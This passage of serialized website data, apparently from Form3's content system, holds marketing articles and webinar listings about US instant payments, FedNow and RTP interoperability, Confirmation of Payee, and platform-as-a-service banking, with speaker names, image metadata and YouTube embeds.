transactions.",[],{"type":25,"text":23560,"spans":23561},"In terms of a logical roadmap and the emergence of a “network effect,” Sheril contended that banks would join the network as receive-only first, and once all 9,000 to 10,000 U.S. banks are receiving these payments, larger banks and businesses will move to embrace new use cases. ",[],{"type":25,"text":23563,"spans":23564},"Eventually, payroll will be a significant potential use case for faster payments. Real estate companies and hedge funds are also pushing for faster payments to close deals on weekends and nights.",[],"rich_text$5d4daf01-bf15-43b7-98d3-0aeecccaecc5",{"variation":437,"version":438,"items":23567,"primary":23568,"id":23598,"slice_type":468,"slice_label":5},[],{"body":23569},[23570,23573,23576,23580,23583,23586,23589,23592,23595],{"type":746,"text":23571,"spans":23572},"Not Everything Must Be Instant",[],{"type":25,"text":23574,"spans":23575},"There will, of course, always be room for payments to travel across traditional rails, depending on the transaction, with no need to be settled in seconds. Some businesses rely on the float, or the interest earned during the time it takes for payments to clear, so instant payments may not be preferable. ",[],{"type":25,"text":23577,"spans":23578},"Sheril said, “There’s money that someone’s making off the money that hasn’t moved yet, and that’s going be weighed against consumer business demand to get their money instantly, and [the latter] might not always win. Sometimes it’s going to be better to say, ‘I don’t want that money to move instantly. My whole business model is built around that money not moving instantly.’” The reliability and stability of traditional payment conduits like ACH wire cannot be ignored, she said.",[23579],{"start":20200,"end":9057,"type":765},{"type":25,"text":23581,"spans":23582},"Instant payment schemes have become increasingly popular worldwide, with many countries implementing their own versions of the technology. However, the technical aspects involved in making payments from one person to another in 20 seconds or less can be complicated. Domestic and cross-border payments have different times and hours, which can make it difficult to ensure that payments are processed quickly and efficiently. ",[],{"type":25,"text":23584,"spans":23585},"Interoperability, of course, will be a significant tailwind towards more mainstream adoption of instant payments — especially with cross-border payments. Sheril maintained that intelligent routing could solve issues related to interoperability through application programming interfaces (APIs) that initiate payments and automatically route them to the appropriate payment rail. ",[],{"type":25,"text":23587,"spans":23588},"She said, “If you use Form3, as an example, use our API, you initiate the payment. It doesn’t matter if the receiver bank is on RTP or FedNow. Intelligent routing from any company that’s offering this type of feature will do that check for you. … It’s really about letting banks … get their payment through based on certain business preferences.”",[],{"type":25,"text":23590,"spans":23591},"The FedNow pilot program, which Sheril deemed a success, was a collaborative effort involving over 120 participants across banks, service providers and vendors. ",[],{"type":25,"text":23593,"spans":23594},"“The collaboration and input was huge so that helped inform a ton of the work,” she noted, pointing to the many FIs that have already been operating on and have experience with the RTP network. She also predicted that some “tinkering and quick fixes” would be involved in going live and testing the interoperability over the near and longer term.",[],{"type":25,"text":23596,"spans":23597},"“FedNow will catalyze the industry,” she said, adding that “as some banks join, others will start their journey — and it’s an opportune time do so. There’ll be lucrative opportunities for people to build and for businesses to grow.” ",[],"rich_text$53e649cd-3bc7-4c48-abb3-1453477fa513",{"variation":437,"version":438,"items":23600,"primary":23601,"id":23607,"slice_type":468,"slice_label":5},[],{"body":23602},[23603],{"type":25,"text":14790,"spans":23604},[23605],{"start":9799,"end":1131,"type":489,"data":23606},{"link_type":491,"url":22681,"target":493},"rich_text$0d8b0bde-ce68-4d73-9438-7e0dcf7a0286","As the world becomes increasingly digital, the idea of instant gratification has become the norm. From streaming movies to ordering groceries, consumers expect everything to be available at their fingertips 24\u002F7. The payments industry is no exception to this trend, with instant payment solutions poised to revolutionize how Americans transfer money.",{"id":23610,"uid":23611,"type":3743,"data":23612},"alzzxREAACoAUWRC","gated-content-confirmation-of-payee-cop-the-second-chapter-what-phase-2-means-for-financial-firms-and-the-future-of-fraud-prevention",{"title":23613,"excerpt":23614,"card_image":23615,"published_date":23621,"reading_time":643,"tag":6178,"dek":23622,"featured_image":23623,"about_form3":23624,"client_about_heading":5,"client_about_body":23625,"author_name":5,"author_title":5,"author_photo":23626,"author_bio":23627,"author_linkedin":23628,"slices":23629,"meta_title":23649,"meta_description":23614},"Confirmation of Payee (CoP) – The second chapter. What Phase 2 means for financial firms and the future of fraud prevention.","With fraud continuing to rise, Confirmation of Payee (CoP) is seen as one of the key steps in slowing this down. With the Payment Systems Regulator (PSR) mandating the adoption of CoP to a further 400 financial firms by mid 2024 a lot of questions are now being asked.",{"dimensions":23616,"alt":23617,"copyright":5,"url":23618,"id":23619,"edit":23620},{"width":412,"height":412},"Confirmation of Payee","\u002F_prismic-media\u002F6ec8d2df06627787-KeC-9tzkYdcrBEZM_gated-content-confirmation-of-p.png","KeC-9tzkYdcrBEZM",{"x":398,"y":398,"zoom":399,"background":400},"2022-10-25","With fraud continuing to rise, confirmation of payee (CoP) is seen as one of the key steps in slowing this down. With the PSR mandating the adoption of CoP to a further 400 financial firms by mid 2024 a lot of questions are now being asked. Watch our webinar in partnership with UK Finance to learn more.",{},[],[],{},[],{"link_type":434},[23630],{"variation":437,"version":438,"items":23631,"primary":23632,"id":23648,"slice_type":468,"slice_label":5},[],{"body":23633},[23634,23636,23640,23644],{"type":746,"text":21602,"spans":23635},[],{"type":3373,"text":23637,"spans":23638},"Nick Fleetwood, Head of Fraud\nFORM3",[23639],{"start":398,"end":2477,"type":593},{"type":3373,"text":23641,"spans":23642},"Julie Guetta, Head of Payments Strategy\nRED COMPASS",[23643],{"start":398,"end":2987,"type":593},{"type":3373,"text":23645,"spans":23646},"Nuala Jackson, Director of Payments\nUK FINANCE",[23647],{"start":398,"end":8472,"type":593},"rich_text$ecf71a6d-5bb3-4ee9-81ae-e74da331d8c1","Confirmation of Payee (CoP) – The second chapter: What Phase 2 means for financial firms and the future of fraud prevention.",{"id":23651,"uid":23652,"type":3743,"data":23653},"alzzwhEAACsAUWQ8","gated-content-going-global-the-fundamentals-to-building-your-international-payments-business",{"title":23654,"excerpt":23655,"card_image":23656,"published_date":23661,"reading_time":506,"tag":6178,"dek":23662,"featured_image":23663,"about_form3":23664,"client_about_heading":5,"client_about_body":23665,"author_name":5,"author_title":5,"author_photo":23666,"author_bio":23667,"author_linkedin":23668,"slices":23669,"meta_title":23654,"meta_description":23655},"Going Global: The fundamentals to building your international payments business","Global business is constantly increasing year on year. We will look to dismantle and lift the lid on what an international payments solutions involves. You’ll understand how the key components fit together, and the considerations, challenges and opportunities for each. The session will help you make the right decision when taking your business to the next level.",{"dimensions":23657,"alt":23617,"copyright":5,"url":23658,"id":23659,"edit":23660},{"width":412,"height":412},"\u002F_prismic-media\u002Fdcf12eff5d49de3f-Bd25Vr_KFM_Dd_Ax_gated-content-going-global-the-.png","Bd25Vr_KFM_Dd_Ax",{"x":398,"y":398,"zoom":399,"background":400},"2022-10-26","Global business is constantly increasing year on year. This session will breakdown how a bank can begin the process of building an international payments solution.\nWe will look to dismantle and lift the lid on what an international payments solutions involves. You’ll understand how the key components fit together, and the considerations, challenges and opportunities for each. The session will help you make the right decision when taking your business to the next level.",{},[],[],{},[],{"link_type":434},[23670],{"variation":437,"version":438,"items":23671,"primary":23672,"id":23696,"slice_type":468,"slice_label":5},[],{"body":23673},[23674,23676,23680,23684,23688,23692],{"type":746,"text":21602,"spans":23675},[],{"type":3373,"text":23677,"spans":23678},"Stephaine Mitchell, Head of Product\nFORM3",[23679],{"start":398,"end":7460,"type":593},{"type":3373,"text":23681,"spans":23682},"Nicholas Rastall, Payments Product Manager\nGOLDMAN SACHS",[23683],{"start":398,"end":2769,"type":593},{"type":3373,"text":23685,"spans":23686},"Bhavna Saraf, Head of Group Payments, Partnerships and Strategy\nLLOYDS BANKING GROUP",[23687],{"start":398,"end":2987,"type":593},{"type":3373,"text":23689,"spans":23690},"Ross Jones, Global Head of Payments Product Management\nBARCLAYS",[23691],{"start":398,"end":905,"type":593},{"type":3373,"text":23693,"spans":23694},"Amelia Isaacs, Reporter\nALTFI",[23695],{"start":398,"end":1951,"type":593},"rich_text$d027cdea-7ed4-4044-b0d4-e73d8dd0d55f",{"id":23698,"uid":23699,"type":3743,"data":23700},"alzy-BEAAC4AUWJZ","real-time-payments-pave-way-for-further-adoption-of-platform-as-a-service-models",{"title":23701,"excerpt":23702,"card_image":23703,"published_date":23708,"reading_time":418,"tag":5813,"dek":23709,"featured_image":23710,"about_form3":23715,"client_about_heading":5,"client_about_body":23716,"author_name":5,"author_title":5,"author_photo":23717,"author_bio":23718,"author_linkedin":23719,"slices":23720,"meta_title":23701,"meta_description":23702},"Real-Time Payments Pave Way for Further Adoption of Platform-as-a-Service Models","Steve Cook, Chief Technology Officer at Form3, recently spoke with PYMNTS TV about real-time payments paving the way for further adoption of platform-as-a-service models. Steve says: \"The eventuality is that we’re headed to a world where real-time payment schemes are interoperable, which will transform cross-border and B2B payments.\" Watch the full interview.",{"dimensions":23704,"alt":16524,"copyright":5,"url":23705,"id":23706,"edit":23707},{"width":412,"height":412},"\u002F_prismic-media\u002F1da26494a71d0328-sW8hdbcdm_1olTQ9_real-time-payments-pave-way-for.png","sW8hdbcdm_1olTQ9",{"x":398,"y":398,"zoom":399,"background":400},"2023-09-14","Steve Cook, Chief Technology Officer at Form3, said in an interview with PYMNTS that the Platform-as-a-Service model is seeing a tailwind from the rise of instant payments.He noted that the United States may be in “a bit of a transformation at the moment,” as real-time payments grab headlines, and the FedNow® Service has debuted (and where The Clearing House’s RTP Network® has been around for six years).But, he added, faster payments have been ramping up for several years in the United Kingdom and elsewhere. Form3, for its part, has been processing traffic on its platforms tied to instant payments for more than six years.",{"dimensions":23711,"alt":16524,"copyright":5,"url":23712,"id":23713,"edit":23714},{"width":501,"height":646},"\u002F_prismic-media\u002F8282412d9c2a4a3c-XTsMDGZc8MpTIlzY_ef351dce-eb4f-41f5-8956-4a2c127.png","XTsMDGZc8MpTIlzY",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23721,23729,23749,23778],{"variation":437,"version":438,"items":23722,"primary":23723,"id":23728,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":23724,"caption":5},{"embed_url":23725,"provider_name":283,"provider_url":2050,"title":23701,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":23726,"html":23727},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=dgXUq3vtnrY","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FdgXUq3vtnrY\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FdgXUq3vtnrY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Real-Time Payments Pave Way for Further Adoption of Platform-as-a-Service Models\">\u003C\u002Fiframe>","embed$be365482-4b4c-4f74-961c-0cd45aebd403",{"variation":437,"version":438,"items":23730,"primary":23731,"id":23748,"slice_type":468,"slice_label":5},[],{"body":23732},[23733,23736,23739,23742,23745],{"type":25,"text":23734,"spans":23735},"Faster payments, he said, “may be relatively new, but they’re not bleeding edge anymore.” The same goes for Platform-as-a-Service, where much of the technical heavy lifting of payments and new modalities is outsourced to providers (Form3 among them) which offer ease of connectivity without client firms having to rip and replace legacy systems.",[],{"type":25,"text":23737,"spans":23738},"While the early adopters may have been the digital challenger banks, the new entrants embracing Platform-as-a-Service now are the tier-one banks that have been grappling with the challenges and opportunities inherent in their own digital transformation.",[],{"type":25,"text":23740,"spans":23741},"“They’ve typically had a lot of complex legacy ‘estate,’” Cook said, with a lot of moving parts, and have found a keen desire to sidestep the complexities of the back office.",[],{"type":25,"text":23743,"spans":23744},"“They’re solving issues with their current [banking] platforms, as well as adopting instant payments,” he said.",[],{"type":25,"text":23746,"spans":23747},"With the Platform-as-a-Service model, he added, instant payments can sit alongside existing flows as financial institutions (FIs) migrate piece by piece onto a new technology stack without necessarily having to throw away a lot of what they already have in place. With application programming interfaces (APIs), connectivity can be fine-tuned on a",[],"rich_text$4b8f13ff-8d62-4792-855e-442fc4941b50",{"variation":437,"version":438,"items":23750,"primary":23751,"id":23777,"slice_type":468,"slice_label":5},[],{"body":23752},[23753,23756,23759,23762,23765,23768,23771,23774],{"type":746,"text":23754,"spans":23755},"Rethinking Payments",[],{"type":25,"text":23757,"spans":23758},"“What we’ve seen typically with our customers as they’ve gone through a journey is they’ll start off with a subset of payments,” said Cook. “They might start off with retail customers doing instant payments, but then gradually move across to, say, corporate flows, which are more complicated.”",[],{"type":25,"text":23760,"spans":23761},"The shift toward instant payments is prompting banks to rethink their strategies across a range of payments — and route what might be thought of as more traditional payments, such as ACH, more efficiently as well.",[],{"type":25,"text":23763,"spans":23764},"“We can bring this all together,” said Cook, which is especially pressing given the fact that batch-file-based systems are no longer fit for purpose. Payments might be captured through online banking, phone, digital channels or apps but have very different flows through the back office. Giving enterprises a flexible platform that allows them to manage those flows effectively can help them prioritize what is important for customers and what is important for their business when it comes to payments.",[],{"type":25,"text":23766,"spans":23767},"Asked by PYMNTS what lies ahead, Cook said in the U.K., open banking gives a clue as to what’s next for Platform-as-a-Service model providers.",[],{"type":25,"text":23769,"spans":23770},"“It’s not just cards and cash,” he said, adding that “it’s actually about whether you can enable lots of different ways and lots of different services for end customers — whether that’s paying by installments or pay by bank … this offers flexibility to customers, and it also potentially offers big cost savings to the financial institutions because they’d be able to move things onto account-to-account rails that traditionally haven’t been there before.”",[],{"type":25,"text":23772,"spans":23773},"The eventuality is that we’re headed to a world where real-time payment schemes are interoperable, which will transform cross-border and B2B payments.",[],{"type":25,"text":23775,"spans":23776},"In that case, “we’re connecting a scheme to a platform model where everything can be shared” more easily, and “the data and the transactions are now all on the same platform … and that starts to enable some really interesting use cases such as fraud, AML, etc.,” he told PYMNTS.",[],"rich_text$6fc0a8d8-3830-49a6-970a-0b11de379b23",{"variation":437,"version":438,"items":23779,"primary":23780,"id":23787,"slice_type":468,"slice_label":5},[],{"body":23781},[23782],{"type":25,"text":14790,"spans":23783},[23784],{"start":9799,"end":1131,"type":489,"data":23785},{"link_type":491,"url":23786,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fpayment-methods\u002F2023\u002Freal-time-payments-pave-way-further-adoption-platform-as-a-service-models\u002F","rich_text$390f2692-c058-42f0-aa0a-06c6e275404e",{"id":23789,"uid":23790,"type":3743,"data":23791},"alzywREAACkAUWHZ","demystifying-payment-modernization-separating-fact-from-fiction",{"title":23792,"excerpt":23793,"card_image":23794,"published_date":23799,"reading_time":9211,"tag":6178,"dek":5,"featured_image":23800,"about_form3":23805,"client_about_heading":5,"client_about_body":23806,"author_name":5,"author_title":5,"author_photo":23807,"author_bio":23808,"author_linkedin":23809,"slices":23810,"meta_title":23792,"meta_description":23793},"Demystifying Payment Modernization: Separating Fact from Fiction","While modern technologies like ISO20022, cloud solutions, instant payments, and APIs are often hailed as keystones for advancing banking systems, they are not without their share of concerns and misconceptions. Our webinar, \"Demystifying Payment Modernization: Separating Fact from Fiction,\" aims to shed light on these common technologies, looking at the practical applications as well as dispelling some of the misconceptions and unveiling the true impact they have on the financial sector.",{"dimensions":23795,"alt":14056,"copyright":5,"url":23796,"id":23797,"edit":23798},{"width":412,"height":412},"\u002F_prismic-media\u002F8e85843230d41015-7A6RvIW5ZvtK_qD2_demystifying-payment-modernizat.jpg","7A6RvIW5ZvtK_qD2",{"x":398,"y":398,"zoom":399,"background":650},"2024-01-30",{"dimensions":23801,"alt":14056,"copyright":5,"url":23802,"id":23803,"edit":23804},{"width":501,"height":646},"\u002F_prismic-media\u002F527c0df88622ab0d-7Ko-5Rw_omYAR6n2_ef351dce-eb4f-41f5-8956-4a2c127.png","7Ko-5Rw_omYAR6n2",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23811,23824],{"variation":437,"version":438,"items":23812,"primary":23813,"id":23823,"slice_type":468,"slice_label":5},[],{"body":23814},[23815,23817,23820],{"type":25,"text":23793,"spans":23816},[],{"type":25,"text":23818,"spans":23819},"The payments space brings with it challenges for payments processing with the introduction of new payment rails, as well as new regulations and standards (such as ISO20022). The need to both prioritize efficiency while at the same time continue at speed on a modernization journey sees banks needing to understand and develop an approach to how they incorporate the benefits these new technologies bring with them.",[],{"type":25,"text":23821,"spans":23822},"Approaching change through these different lenses can make modernization more manageable, more achievable and less risky. By understanding and using these technologies to configure new payment offerings, financial institutions can dive into the modernization path without the arduous processes, risk and expense of a complete system overhaul.",[],"rich_text$7d14e9a2-78ee-4ef6-ae1e-11583e31d3b2",{"variation":437,"version":438,"items":23825,"primary":23826,"id":23846,"slice_type":468,"slice_label":5},[],{"body":23827},[23828,23830,23834,23838,23842],{"type":746,"text":21602,"spans":23829},[],{"type":3373,"text":23831,"spans":23832},"Bob Blacketer, Chief Commercial Officer – Americas\nFORM3",[23833],{"start":398,"end":1951,"type":593},{"type":3373,"text":23835,"spans":23836},"Bryan Schneider, Group Product Head for Fintech Strategy & Partnerships \nU.S. BANK",[23837],{"start":398,"end":8472,"type":593},{"type":3373,"text":23839,"spans":23840},"Preeti Chaturvedi, US Head of Domestic and Emerging Payments \nHSBC",[23841],{"start":398,"end":6911,"type":593},{"type":3373,"text":23843,"spans":23844},"Jennifer Moore Lucas, Head of Payments for FSO Americas \nEY",[23845],{"start":398,"end":7460,"type":593},"rich_text$ede3947d-5941-4482-b62f-c48038ef0799",{"id":23848,"uid":23849,"type":3743,"data":23850},"alzzkBEAACwAUWPA","fednow-and-rtp-the-question-of-interoperability",{"title":23851,"excerpt":23852,"card_image":23853,"published_date":23858,"reading_time":506,"tag":3751,"dek":5,"featured_image":23859,"about_form3":23866,"client_about_heading":5,"client_about_body":23867,"author_name":5,"author_title":5,"author_photo":23868,"author_bio":23869,"author_linkedin":23870,"slices":23871,"meta_title":23968,"meta_description":23969},"Faster Payments: A tale of two systems","Since the launch of RTP in 2017, the adoption of real-time payments in the US has increased rapidly, with over 200 banks now using the system. Fast forward to today, and the upcoming launch of FedNow is set to be another major milestone in the continuing adoption of real-time payments. But how these two systems will coexist is another matter. At this stage it is not certain when – or even whether – FedNow will eventually interoperate with RTP, particularly in light of a recent communication from the Federal Reserve. So how will the two systems interact? Which system should be used in different scenarios? And what are the options for banks wishing to take advantage of both systems?",{"dimensions":23854,"alt":23851,"copyright":5,"url":23855,"id":23856,"edit":23857},{"width":412,"height":412},"\u002F_prismic-media\u002F71eae91451bb5ff8-n_Q8u_cb6K0-edG_fednow-and-rtp-the-question-of-i.jpg","_n_Q8u_cb6K0-edG",{"x":398,"y":398,"zoom":399,"background":650},"2023-02-08",{"dimensions":23860,"alt":23862,"copyright":5,"url":23863,"id":23864,"edit":23865},{"width":501,"height":23861},670,"Image to illustrate interoperability","\u002F_prismic-media\u002F9a4c6bd71de3c14a-DAkaUsl-YjVHVuL8_1a7c10d5-d8b6-4e86-bcb4-ed95f72.jpg","DAkaUsl-YjVHVuL8",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[23872,23885,23898,23922,23930,23948],{"variation":437,"version":438,"items":23873,"primary":23874,"id":23884,"slice_type":468,"slice_label":5},[],{"body":23875},[23876],{"type":25,"text":23877,"spans":23878},"Below is an excerpt from the latest in our series of webinars discussing the key aspects surrounding the upcoming launch of FedNow, and the US's move into the next stage of their real-time payments journey. We were lucky enough to be joined by speakers from BNY Mellon, Wells Fargo and Bank of America who provided key insights into how the issue of interoperability should be approached, and what steps banks need to think about in their move to real time.",[23879,23882],{"start":23880,"end":23881,"type":593},258,281,{"start":23883,"end":9193,"type":593},286,"rich_text$bd982c11-0999-41b0-8c6f-037457ac4fe7",{"variation":437,"version":438,"items":23886,"primary":23887,"id":23897,"slice_type":468,"slice_label":5},[],{"body":23888},[23889,23892,23894],{"type":746,"text":23890,"spans":23891},"What are the differences and similarities between RTP and FedNow",[],{"type":25,"text":17854,"spans":23893},[],{"type":25,"text":23895,"spans":23896},"But how these two systems will coexist is another matter. At this stage it is not certain when – or even whether – FedNow will eventually interoperate with RTP, particularly in light of a recent communication from the Federal Reserve. So how will the two systems interact? Which system should be used in different scenarios? And what are the options for banks wishing to take advantage of both systems? ",[],"rich_text$1ee06983-a478-466d-af2b-75ce865ccb7a",{"variation":437,"version":438,"items":23899,"primary":23900,"id":23921,"slice_type":468,"slice_label":5},[],{"body":23901},[23902,23905,23908,23911,23915,23918],{"type":746,"text":23903,"spans":23904},"A tale of two systems",[],{"type":25,"text":23906,"spans":23907},"As of 2022 up to 72% of the world has a live or upcoming have real-time payments infrastructure. The US first stepped into this arena in 2017 with the introduction of RTP, the real-time payments system from The Clearing House – and with the arrival of FedNow expected in the summer of 2023, there’s no doubt the US is moving forward rapidly with its adoption of real-time payments.",[],{"type":25,"text":23909,"spans":23910},"But questions continue about what the existence of the two systems will mean for banks and their clients. Adding to the complexity, in September 2022, the Federal Reserve released Operating Circular 8, which specified the following:",[],{"type":25,"text":23912,"spans":23913},"“A FedNow Participant may not send a payment order through the FedNow Service identifying an originator or beneficiary that is not either (i) a FedNow Participant or (ii) a holder of a deposit account on the books of the FedNow Sender and FedNow Receiver, respectively, in the United States.”",[23914],{"start":398,"end":21436,"type":593},{"type":25,"text":23916,"spans":23917},"In other words, the FedNow service should not be used for onward remittance to other faster payment systems. This is perhaps unsurprising, given that FedNow and RTP will not interoperate. But why would this be the case, given that both systems handle real-time payments, and both are based on ISO 20022?",[],{"type":25,"text":23919,"spans":23920},"In a nutshell, explains Irfan Ahmad, Managing Director, Head of US Payments, GTS at Bank of America, “When you’re on ISO 20022, you’re speaking the same language – but you may not be speaking the same dialect.”",[],"rich_text$55f82517-bbe6-495a-a573-e6f8d727cfba",{"variation":437,"version":438,"items":23923,"primary":23924,"id":23929,"slice_type":583,"slice_label":5},[],{"quote":23925,"attribution_name":3205,"attribution_role":3206},[23926],{"type":25,"text":23927,"spans":23928},"“Having two systems effectively doing the same thing in the US has created a number of questions for banks and their clients around how these two systems will interact.”",[],"pull_quote$b4fb9d57-f0bf-4221-ba3a-32e0b8a8ab38",{"variation":437,"version":438,"items":23931,"primary":23932,"id":23947,"slice_type":468,"slice_label":5},[],{"body":23933},[23934,23937,23940,23943],{"type":746,"text":23935,"spans":23936},"Work in progress",[],{"type":25,"text":23938,"spans":23939},"When TCH was developing RTP in 2015, the broader ISO community had not yet pinned down how the ISO message set would be adopted for instant payments. Indeed, the development of RTP was arguably part of the process that helped to shape how this question was addressed. But that also meant decisions had to be made before the ISO committee had defined what the standard would mean for instant payment systems.",[],{"type":25,"text":23941,"spans":23942},"In practice, ISO 20022 has considerable scope for variation when it comes to the flow of messages that are sent and received, as well as the structure and amount of data included in messages. And given that FedNow is a later development than RTP, the Fed has had more time to explore how to implement ISO 20022 in a more globally compliant way.",[],{"type":25,"text":23944,"spans":23945},"FedNow, for example, allows for more information in its messages than RTP – an approach which comes with some challenges as well as benefits. “For example, when you’re a bank, and you suddenly have all this remittance information, do you choose to display that remittance information?” comments Ahmad. Other implications of longer message sets include practical questions about online channels and databases, and how to deal with fraud.",[23946],{"start":5703,"end":11737,"type":765},"rich_text$a65a5ac8-ce08-4473-bd63-b25cc0d54ff8",{"variation":437,"version":438,"items":23949,"primary":23950,"id":23967,"slice_type":468,"slice_label":5},[],{"body":23951},[23952,23955,23958,23961,23964],{"type":746,"text":23953,"spans":23954},"The interoperability challenge",[],{"type":25,"text":23956,"spans":23957},"At the same time, the lack of interoperability between the two systems presents something of a challenge for banks – but what does it mean in practice?",[],{"type":25,"text":23959,"spans":23960},"Interoperability has a number of facets, as Ahmad explains. “There’s the interoperability between the networks, which isn’t there,” he says. “There’s the interoperability between banks – how do you get something from somebody who’s on RTP to someone who’s on FedNow, which clearly wouldn’t be allowed here? And how do you then facilitate some sort of forward remittance or correspondence on the network as well?”",[],{"type":25,"text":23962,"spans":23963},"In practice, it’s likely that the outcome will be similar to the world of wire payments. As Ahmad predicts, “Your reach is really going to start depending on those banks that are originating into both networks. So you’ll have the receive-only banks dependent on the banks that are originating from both sides, similar to how things work with CHIPS and Fedwire.”",[],{"type":25,"text":23965,"spans":23966},"For banks, the question will be at what point the incremental reach offered by FedNow will represent a clear value proposition in terms of originating to both networks. For banks that proceed with FedNow, much of that decision will be driven by the network’s value proposition, and by the reach the network offers for customers.",[],"rich_text$fb806202-f8e9-4a97-8ba1-b296751cec60","FedNow and RTP: Understanding the Issue of Interoperability","This report looks at the differences between RTP and FedNow, the importance of interoperability in real-time payments, and the factors that will likely drive adoption in the US.",{"id":23971,"uid":23972,"type":3743,"data":23973},"alzzbhEAACwAUWNp","gated-content-why-now-for-fednow",{"title":23974,"excerpt":23975,"card_image":23976,"published_date":23981,"reading_time":9211,"tag":6178,"dek":5,"featured_image":23982,"about_form3":23987,"client_about_heading":5,"client_about_body":23988,"author_name":5,"author_title":5,"author_photo":23989,"author_bio":23990,"author_linkedin":23991,"slices":23992,"meta_title":23974,"meta_description":23975},"Why now for FedNow?","Faster payments has been around for some time globally. However, it seems to just be kicking off in the United States. Real-time payments has seen impressive growth in volumes last year. With FedNow joining the arena and its launch mid 2023, adoption across banks is expected to increase.",{"dimensions":23977,"alt":21799,"copyright":5,"url":23978,"id":23979,"edit":23980},{"width":412,"height":412},"\u002F_prismic-media\u002F2d46254dc54449bb-RFaXN2o_PvspbZRU_gated-content-why-now-for-fedno.jpg","RFaXN2o_PvspbZRU",{"x":398,"y":398,"zoom":399,"background":650},"2023-04-03",{"dimensions":23983,"alt":21799,"copyright":5,"url":23984,"id":23985,"edit":23986},{"width":501,"height":646},"\u002F_prismic-media\u002F072215ce876eed61-yk9s7GWDeENMgz8f_ef351dce-eb4f-41f5-8956-4a2c127.png","yk9s7GWDeENMgz8f",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[23993,24003],{"variation":437,"version":438,"items":23994,"primary":23995,"id":24002,"slice_type":468,"slice_label":5},[],{"body":23996},[23997,23999],{"type":25,"text":23975,"spans":23998},[],{"type":25,"text":24000,"spans":24001},"As more banks join the movement and more payment use cases move to these rails, consumer expectations will grow. We know it’s not simple to join a faster payment service. Banks who aren’t planning to move toward faster payments, will be left behind and likely won’t be able to meet their customers’ demands in the future.",[],"rich_text$55638adc-3df0-4bc4-8c04-2af449e6e6f8",{"variation":437,"version":438,"items":24004,"primary":24005,"id":24025,"slice_type":468,"slice_label":5},[],{"body":24006},[24007,24009,24013,24017,24021],{"type":746,"text":21602,"spans":24008},[],{"type":3373,"text":24010,"spans":24011},"Dave Scola, General Manager US\nFORM3",[24012],{"start":398,"end":905,"type":593},{"type":3373,"text":24014,"spans":24015},"Jessie Bitetti, Assistant Vice President, FedNow Industry Readiness \nTHE FEDERAL RESERVE",[24016],{"start":398,"end":2987,"type":593},{"type":3373,"text":24018,"spans":24019},"Joe Choi, Senior Vice President, Corporate Treasury Operations \nGOLDMAN SACHS",[24020],{"start":398,"end":1633,"type":593},{"type":3373,"text":24022,"spans":24023},"Margaret M. Weichert, MD – North America Payments Lead \nACCENTURE",[24024],{"start":398,"end":7460,"type":593},"rich_text$6e5bb87c-68a0-45e0-b727-b65571396507",{"id":24027,"uid":24028,"type":3743,"data":24029},"alzzPxEAACoAUWL7","platforms-speed-banks-global-real-time-payments-plans",{"title":24030,"excerpt":24031,"card_image":24032,"published_date":24037,"reading_time":418,"tag":5813,"dek":24038,"featured_image":24039,"about_form3":24044,"client_about_heading":5,"client_about_body":24045,"author_name":5,"author_title":5,"author_photo":24046,"author_bio":24047,"author_linkedin":24048,"slices":24049,"meta_title":24030,"meta_description":24031},"Platforms Speed Banks Global Real-Time Payments Plans","As the world becomes increasingly digital, financial institutions and enterprises are facing a new challenge: onboarding and connecting to a proliferating number of real-time payments schemes. In the United States, for example, instant payments loom as FedNow is set to launch in a matter of weeks. As Form3 Chief Product Officer Mike Walters told PYMNTS: The dozens of real-time and account-to-account schemes taking shape around the globe are marked by varying levels of maturity, varying stages of scale, and varying rates of growth.",{"dimensions":24033,"alt":21746,"copyright":5,"url":24034,"id":24035,"edit":24036},{"width":412,"height":412},"\u002F_prismic-media\u002Fb65cbcc0dbfbfdce-Fkl0TAnbmoUw6x7n_platforms-speed-banks-global-re.png","Fkl0TAnbmoUw6x7n",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-16","As the world becomes increasingly digital, financial institutions and enterprises are facing a new challenge: onboarding and connecting to a proliferating number of real-time payments schemes. In the United States, for example, instant payments loom as FedNow is set to launch in a matter of weeks. As Form3 Chief Product Officer Mike Walters told PYMNTS: The dozens of real-time and account-to-account schemes taking shape around the globe are marked by varying levels of maturity, varying stages of scale, and varying rates of growth.",{"dimensions":24040,"alt":21746,"copyright":5,"url":24041,"id":24042,"edit":24043},{"width":501,"height":646},"\u002F_prismic-media\u002F16a94c877aebb93b-f-Fjptnbt6qWZTWi_ef351dce-eb4f-41f5-8956-4a2c127.png","f-Fjptnbt6qWZTWi",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[24050,24058,24072,24101],{"variation":437,"version":438,"items":24051,"primary":24052,"id":24057,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":24053,"caption":5},{"embed_url":24054,"provider_name":283,"provider_url":2050,"title":24030,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":24055,"html":24056},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=HUPkTF9dECU","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FHUPkTF9dECU\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FHUPkTF9dECU?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Platforms 